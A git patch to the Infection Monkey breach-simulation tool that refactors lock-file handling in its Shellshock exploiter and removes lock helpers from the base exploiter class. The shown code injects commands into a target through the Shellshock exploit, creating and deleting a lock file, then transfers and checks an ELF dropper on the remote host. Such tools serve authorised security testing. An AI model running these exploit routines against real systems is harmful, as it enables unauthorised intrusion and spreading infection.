From 7b0bf71279112196954c7be834bc20fa5c2390b2 Mon Sep 17 00:00:00 2001
From: Anh T Nguyen <anhnt@cystack.net>
Date: Sat, 7 Sep 2019 07:14:11 +0700
Subject: [PATCH] update

---
 monkey/infection_monkey/exploit/__init__.py   | 12 +--------
 monkey/infection_monkey/exploit/shellshock.py | 27 +++++++------------
 2 files changed, 11 insertions(+), 28 deletions(-)

diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index a75675942..ad38f50ce 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -75,17 +75,7 @@ class HostExploiter(object):
         """
         powershell = True if "powershell" in cmd.lower() else False
         self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
-
-    def _try_lock(self, create_file_fn, path):
-        """
-        Create temporary file on target machine to avoid collision of long-running exploiters
-        :return: True if no other monkey is running same exploit
-        """
-        return create_file_fn(path)
-
-    def _exit_lock(self, remove_file_fn, path):
-        remove_file_fn(path)
-
+        
 
 from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
 from infection_monkey.exploit.wmiexec import WmiExploiter
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 46de37797..78e668fc1 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -109,9 +109,8 @@ class ShellShockExploiter(HostExploiter):
                 LOG.info("Can't find suitable monkey executable for host %r", self.host)
                 return False
 
-            if not self._try_lock(create_file_fn=self._create_lock_file(exploit, url, header),
-                                  path=LOCK_HELPER_FILE):
-                LOG.info("Host %s was already infected under the current configuration, done" % self.host)
+            if not self._create_lock_file(exploit, url, header):
+                LOG.info("Another monkey is running shellshock exploit")
                 return True
 
             http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
@@ -130,8 +129,7 @@ class ShellShockExploiter(HostExploiter):
             http_thread.join(DOWNLOAD_TIMEOUT)
             http_thread.stop()
 
-            self._exit_lock(remove_file_fn=self._remove_lock_file(exploit, url, header),
-                            path=LOCK_HELPER_FILE)
+            self._remove_lock_file(exploit, url, header)
 
             if (http_thread.downloads != 1) or (
                         'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
@@ -192,20 +190,15 @@ class ShellShockExploiter(HostExploiter):
         return False,
 
     def _create_lock_file(self, exploit, url, header):
-        def f(filepath):
-            if self.check_remote_file_exists(url, header, exploit, filepath):
-                LOG.info("Another monkey is running shellshock exploit")
-                return False
-            cmd = exploit + 'echo AAAA > %s' % filepath
-            self.attack_page(url, header, cmd)
-            return True
-        return f
+        if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE):
+            return False
+        cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE
+        self.attack_page(url, header, cmd)
+        return True
 
     def _remove_lock_file(self, exploit, url, header):
-        def f(filepath):
-            cmd = exploit + 'rm %s' % filepath
-            self.attack_page(url, header, cmd)
-        return f
+        cmd = exploit + 'rm %s' % LOCK_HELPER_FILE
+        self.attack_page(url, header, cmd)
 
     @staticmethod
     def attack_page(url, header, attack):